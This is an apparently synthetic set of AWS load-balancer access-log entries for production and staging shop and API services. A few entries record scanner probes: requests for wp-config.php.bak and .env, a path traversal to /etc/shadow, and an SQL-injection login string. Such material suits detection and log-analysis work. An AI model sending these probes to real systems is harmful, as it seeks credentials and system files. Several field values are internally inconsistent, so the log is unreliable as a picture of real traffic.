arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf68-a8443e340c6b4621905aa25c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:41:44.545799Z "forward" "-" "-" "10.0.86.78:443" "404" "-" "-" +https 2024-11-01T01:41:45.675138Z prod-api-alb 107.254.122.29:31017 10.0.23.14:443 0.062499 0.005927 0.068517 200 200 509 1027 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf69-a0d5817580974289a84c5144" "prod-api-alb.example.com" "-" 8 2024-11-01T01:41:45.675138Z "forward" "-" "-" "10.0.23.14:443" "200" "-" "-" +https 2024-11-01T01:41:47.672744Z prod-web-alb 86.251.108.136:44752 10.0.192.214:443 0.084618 0.480907 0.070937 200 200 42 4923 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf6b-d073e51a4e6c4ab4999e6f35" "prod-web-alb.example.com" "-" 8 2024-11-01T01:41:47.672744Z "forward" "-" "-" "10.0.192.214:443" "200" "-" "-" +http 2024-11-01T01:41:49.002181Z staging-alb 211.204.255.153:57349 54.176.92.159:80 0.034764 0.044545 0.022217 301 301 890 4305 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf6d-707d45102288481e903cbb57" "staging-alb.example.com" "-" 3 2024-11-01T01:41:49.002181Z "forward" "-" "-" "54.176.92.159:80" "301" "-" "-" +https 2024-11-01T01:41:50.795472Z staging-alb 77.57.174.40:25917 194.188.222.123:8080 0.006750 0.184382 0.033112 200 200 872 1384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf6e-2afce450922948f09e6f05cf" "staging-alb.example.com" "-" 5 2024-11-01T01:41:50.795472Z "forward" "-" "-" "194.188.222.123:8080" "200" "-" "-" +https 2024-11-01T01:41:52.680389Z prod-api-alb 192.245.60.112:12518 10.0.119.13:443 0.004397 0.158197 0.007899 302 302 925 793 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf70-a4c0ab052f5b463db7281f3f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:41:52.680389Z "forward" "-" "-" "10.0.119.13:443" "302" "-" "-" +https 2024-11-01T01:41:53.332626Z prod-web-alb 45.155.205.102:16034 10.0.57.220:443 0.031636 0.284291 0.039944 302 302 720 13777 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf71-77df7fe0236944e49afaa8ac" "-" "-" 2 2024-11-01T01:41:53.332626Z "forward" "-" "-" "10.0.57.220:443" "302" "-" "-" +https 2024-11-01T01:41:53.966399Z prod-web-alb 139.217.77.243:37027 10.0.203.16:443 0.038095 0.257953 0.030235 301 301 112 6999 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf71-bcb67682306e49d9878acef7" "prod-web-alb.example.com" "-" 0 2024-11-01T01:41:53.966399Z "forward" "-" "-" "10.0.203.16:443" "301" "-" "-" +https 2024-11-01T01:41:55.540618Z prod-web-alb 54.169.77.19:29712 10.0.144.251:443 0.067414 0.192404 0.096487 404 404 140 833 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf73-a913e51f745b43238f68d507" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:55.540618Z "forward" "-" "-" "10.0.144.251:443" "404" "-" "-" +https 2024-11-01T01:41:57.012220Z prod-web-alb 198.102.114.123:62735 10.0.174.205:443 0.013079 0.127826 0.003930 200 200 264 3719 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf75-5dba690853ac4e869d4c4082" "prod-web-alb.example.com" "-" 5 2024-11-01T01:41:57.012220Z "forward" "-" "-" "10.0.174.205:443" "200" "-" "-" +https 2024-11-01T01:41:58.433102Z prod-web-alb 127.92.82.104:64090 10.0.105.109:443 0.047714 0.012361 0.017147 404 404 866 7996 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf76-640d68b45a2e40d4830f57c0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:58.433102Z "forward" "-" "-" "10.0.105.109:443" "404" "-" "-" +https 2024-11-01T01:42:00.270710Z prod-api-alb 23.174.183.9:52455 10.0.228.164:443 0.034825 0.343906 0.088240 302 302 417 4944 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf78-28d443e5cfce46a6820c42b8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:00.270710Z "forward" "-" "-" "10.0.228.164:443" "302" "-" "-" +https 2024-11-01T01:42:01.608025Z prod-api-alb 21.153.213.18:47403 10.0.253.162:443 0.038722 0.480308 0.075256 200 200 967 7145 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf79-0e86e49618574cb2baa6f417" "prod-api-alb.example.com" "-" 6 2024-11-01T01:42:01.608025Z "forward" "-" "-" "10.0.253.162:443" "200" "-" "-" +https 2024-11-01T01:42:01.833753Z prod-web-alb 104.250.59.30:48659 10.0.164.111:443 0.055763 0.004018 0.018883 404 404 876 14046 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf79-48de522769fe42f890dccf0a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:42:01.833753Z "forward" "-" "-" "10.0.164.111:443" "404" "-" "-" +https 2024-11-01T01:42:03.550432Z prod-web-alb 24.254.8.139:31777 10.0.237.57:443 0.011726 0.233597 0.099522 301 301 867 11951 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf7b-f5473a3d83324851aabd842b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:42:03.550432Z "forward" "-" "-" "10.0.237.57:443" "301" "-" "-" +http 2024-11-01T01:42:04.814708Z staging-alb 178.93.144.84:46010 39.83.197.127:80 0.082538 0.516310 0.018187 404 404 140 11492 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf7c-6eb8a9ed86064bab864ebf79" "staging-alb.example.com" "-" 5 2024-11-01T01:42:04.814708Z "forward" "-" "-" "39.83.197.127:80" "404" "-" "-" +https 2024-11-01T01:42:05.035542Z prod-api-alb 122.114.121.219:52502 10.0.214.149:443 0.013877 0.471591 0.096390 200 200 955 13125 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf7d-f781a2b8aa2b4083a3d0ca3b" "-" "-" 8 2024-11-01T01:42:05.035542Z "forward" "-" "-" "10.0.214.149:443" "200" "-" "-" +https 2024-11-01T01:42:06.865840Z prod-api-alb 181.137.155.222:25695 10.0.2.151:443 0.061159 0.234484 0.035854 301 301 643 1584 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf7e-ada80478e4ae45229d9e11f9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:06.865840Z "forward" "-" "-" "10.0.2.151:443" "301" "-" "-" +https 2024-11-01T01:42:07.925712Z prod-web-alb 229.178.163.156:18797 10.0.227.117:443 0.045607 0.073880 0.034718 200 200 803 10923 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf7f-e31fa99b77a945d39d7ca42c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:42:07.925712Z "forward" "-" "-" "10.0.227.117:443" "200" "-" "-" +https 2024-11-01T01:42:09.669916Z prod-api-alb 117.240.219.71:20302 10.0.255.206:443 0.022078 0.214466 0.056039 200 200 77 7758 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf81-ca1c0aaf36514739926d4503" "prod-api-alb.example.com" "-" 3 2024-11-01T01:42:09.669916Z "forward" "-" "-" "10.0.255.206:443" "200" "-" "-" +https 2024-11-01T01:42:11.517096Z prod-web-alb 45.155.205.208:55927 10.0.135.154:443 0.052995 0.131317 0.028598 302 302 764 10038 "POST /.env HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf83-21d77dfc31ff4d47b55e2782" "-" "-" 10 2024-11-01T01:42:11.517096Z "forward" "-" "-" "10.0.135.154:443" "302" "-" "-" +https 2024-11-01T01:42:13.449758Z prod-api-alb 131.13.191.224:63198 10.0.131.12:443 0.083748 0.038055 0.015184 200 200 791 11321 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf85-41da608883c8459ea63978a0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:42:13.449758Z "forward" "-" "-" "10.0.131.12:443" "200" "-" "-" +http 2024-11-01T01:42:14.354728Z staging-alb 50.136.46.40:23445 88.31.56.104:443 0.026388 0.387978 0.045329 200 200 134 1005 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf86-d52ae21d07d64180801c8245" "staging-alb.example.com" "-" 1 2024-11-01T01:42:14.354728Z "forward" "-" "-" "88.31.56.104:443" "200" "-" "-" +https 2024-11-01T01:42:15.557606Z staging-alb 118.80.93.76:52060 139.208.235.12:443 0.076383 0.660745 0.059862 301 301 4 4774 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf87-a5ed951d132c4f2889b63447" "staging-alb.example.com" "-" 7 2024-11-01T01:42:15.557606Z "forward" "-" "-" "139.208.235.12:443" "301" "-" "-" +http 2024-11-01T01:42:17.165771Z staging-alb 86.8.15.221:52059 207.62.191.30:443 0.016718 0.005117 0.034772 404 404 738 1461 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf89-31f09d8a27ba41d8be298b31" "staging-alb.example.com" "-" 0 2024-11-01T01:42:17.165771Z "forward" "-" "-" "207.62.191.30:443" "404" "-" "-" +https 2024-11-01T01:42:17.886094Z prod-web-alb 17.250.142.9:31314 10.0.212.105:443 0.000591 0.497666 0.005599 301 301 463 12995 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf89-b5711f79b9254d429cfd66be" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:17.886094Z "forward" "-" "-" "10.0.212.105:443" "301" "-" "-" +https 2024-11-01T01:42:18.936415Z prod-web-alb 162.112.55.73:47828 10.0.91.249:443 0.049391 0.378753 0.021001 200 200 852 9036 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf8a-2939a5a9ea8749b795ee17c8" "prod-web-alb.example.com" "-" 5 2024-11-01T01:42:18.936415Z "forward" "-" "-" "10.0.91.249:443" "200" "-" "-" +https 2024-11-01T01:42:20.712480Z prod-api-alb 155.223.162.88:61691 10.0.115.159:443 0.032149 0.129803 0.078822 200 200 500 7174 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf8c-6c1933a26b85402e838c18dc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:20.712480Z "forward" "-" "-" "10.0.115.159:443" "200" "-" "-" +https 2024-11-01T01:42:21.823119Z prod-api-alb 9.196.181.165:64118 10.0.168.125:443 0.069473 0.260430 0.013429 301 301 484 11557 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf8d-5ad18528ebeb4ef997ad7e45" "prod-api-alb.example.com" "-" 8 2024-11-01T01:42:21.823119Z "forward" "-" "-" "10.0.168.125:443" "301" "-" "-" +https 2024-11-01T01:42:23.704515Z prod-web-alb 125.205.22.18:37797 10.0.50.10:443 0.001508 0.490275 0.086999 301 301 500 11573 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf8f-14404cea4553428aacdf2c67" "-" "-" 9 2024-11-01T01:42:23.704515Z "forward" "-" "-" "10.0.50.10:443" "301" "-" "-" +https 2024-11-01T01:42:25.174125Z prod-api-alb 107.109.193.169:54553 10.0.140.84:443 0.077297 0.474046 0.084682 200 200 927 5512 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf91-288f5f45747940489d1b0392" "prod-api-alb.example.com" "-" 2 2024-11-01T01:42:25.174125Z "forward" "-" "-" "10.0.140.84:443" "200" "-" "-" +https 2024-11-01T01:42:25.751566Z prod-web-alb 3.237.94.91:53596 10.0.51.170:443 0.079120 0.092033 0.093941 200 200 717 14702 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf91-23820b2156cc44b39e42471a" "prod-web-alb.example.com" "-" 5 2024-11-01T01:42:25.751566Z "forward" "-" "-" "10.0.51.170:443" "200" "-" "-" +https 2024-11-01T01:42:26.658477Z staging-alb 45.155.205.185:33930 49.224.68.90:443 0.049961 0.680885 0.131637 403 403 105 6573 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf92-da618ddedcc541089de32667" "-" "-" 4 2024-11-01T01:42:26.658477Z "forward" "-" "-" "49.224.68.90:443" "403" "-" "-" +https 2024-11-01T01:42:26.896285Z staging-alb 126.213.139.129:18425 32.159.238.180:80 0.089548 0.086454 0.012586 301 301 877 2905 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf92-be03dafb8f7943b0892b4b44" "staging-alb.example.com" "-" 10 2024-11-01T01:42:26.896285Z "forward" "-" "-" "32.159.238.180:80" "301" "-" "-" +https 2024-11-01T01:42:28.548285Z prod-api-alb 153.199.1.107:33317 10.0.134.32:443 0.071684 0.283268 0.039313 404 404 318 13293 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf94-67bf42ad0a5248c19e4e59ce" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:28.548285Z "forward" "-" "-" "10.0.134.32:443" "404" "-" "-" +https 2024-11-01T01:42:29.064762Z staging-alb 13.79.233.231:62366 230.25.103.196:443 0.137527 0.125031 0.045271 200 200 664 13211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf95-cf0f4180cae84157a2c8e1c1" "staging-alb.example.com" "-" 3 2024-11-01T01:42:29.064762Z "forward" "-" "-" "230.25.103.196:443" "200" "-" "-" +http 2024-11-01T01:42:29.200772Z staging-alb 186.10.231.176:62435 189.31.109.87:443 0.069863 0.309204 0.004854 302 302 59 13953 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf95-c78ef8dd06414d64b6f90803" "staging-alb.example.com" "-" 6 2024-11-01T01:42:29.200772Z "forward" "-" "-" "189.31.109.87:443" "302" "-" "-" +https 2024-11-01T01:42:30.350544Z staging-alb 30.194.142.234:20463 57.15.130.130:80 0.029326 0.639163 0.095268 404 404 351 11002 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf96-6ebcae21b16f4b6385ecd7a2" "staging-alb.example.com" "-" 3 2024-11-01T01:42:30.350544Z "forward" "-" "-" "57.15.130.130:80" "404" "-" "-" +https 2024-11-01T01:42:31.168178Z prod-web-alb 185.181.104.251:43284 10.0.51.146:443 0.028563 0.191830 0.022560 403 403 103 11336 "GET /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf97-efb3ac64e6544ce59419fc5b" "-" "-" 7 2024-11-01T01:42:31.168178Z "forward" "-" "-" "10.0.51.146:443" "403" "-" "-" +https 2024-11-01T01:42:32.954240Z prod-web-alb 90.174.238.111:25057 10.0.58.119:443 0.016527 0.349334 0.093297 301 301 340 3692 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf98-caf64bd59da1407cbfe0f75d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:42:32.954240Z "forward" "-" "-" "10.0.58.119:443" "301" "-" "-" +http 2024-11-01T01:42:34.644201Z staging-alb 235.140.88.184:20872 165.94.229.158:8080 0.026368 0.657891 0.121680 200 200 455 13830 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf9a-852272c64e3f4aec906e7f84" "staging-alb.example.com" "-" 5 2024-11-01T01:42:34.644201Z "forward" "-" "-" "165.94.229.158:8080" "200" "-" "-" +https 2024-11-01T01:42:35.274620Z prod-web-alb 107.166.172.18:57928 10.0.30.142:443 0.030741 0.295493 0.049075 200 200 149 9448 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf9b-c09414e356f7433db4113707" "prod-web-alb.example.com" "-" 3 2024-11-01T01:42:35.274620Z "forward" "-" "-" "10.0.30.142:443" "200" "-" "-" +https 2024-11-01T01:42:36.101804Z prod-api-alb 88.234.183.80:49455 10.0.244.177:443 0.070562 0.384032 0.030546 404 404 472 2870 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf9c-c0aa81678d3e46578ca354bd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:42:36.101804Z "forward" "-" "-" "10.0.244.177:443" "404" "-" "-" +https 2024-11-01T01:42:37.038773Z prod-web-alb 98.116.72.255:62511 10.0.221.45:443 0.044159 0.007968 0.066725 302 302 834 6994 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf9d-0a2f65efc1f8449983d7d8bc" "prod-web-alb.example.com" "-" 10 2024-11-01T01:42:37.038773Z "forward" "-" "-" "10.0.221.45:443" "302" "-" "-" +https 2024-11-01T01:42:38.922997Z staging-alb 70.85.119.208:21895 60.175.143.246:8080 0.099840 0.183501 0.078960 200 200 203 2861 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf9e-421cb5a1dc4e4f52bc4afaf1" "staging-alb.example.com" "-" 8 2024-11-01T01:42:38.922997Z "forward" "-" "-" "60.175.143.246:8080" "200" "-" "-" +https 2024-11-01T01:42:39.341905Z prod-api-alb 163.220.121.87:47735 10.0.175.8:443 0.063434 0.150456 0.093151 302 302 785 982 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf9f-9e97cb171c5346a781336dfd" "prod-api-alb.example.com" "-" 2 2024-11-01T01:42:39.341905Z "forward" "-" "-" "10.0.175.8:443" "302" "-" "-" +https 2024-11-01T01:42:40.776522Z prod-api-alb 241.185.212.244:28840 10.0.58.53:443 0.043504 0.435515 0.070515 200 200 46 4103 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfa0-738b0a26f1154cbfbdae6504" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:40.776522Z "forward" "-" "-" "10.0.58.53:443" "200" "-" "-" +https 2024-11-01T01:42:42.105391Z prod-web-alb 138.138.94.36:59546 10.0.48.39:443 0.032838 0.375233 0.044079 301 301 67 8130 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 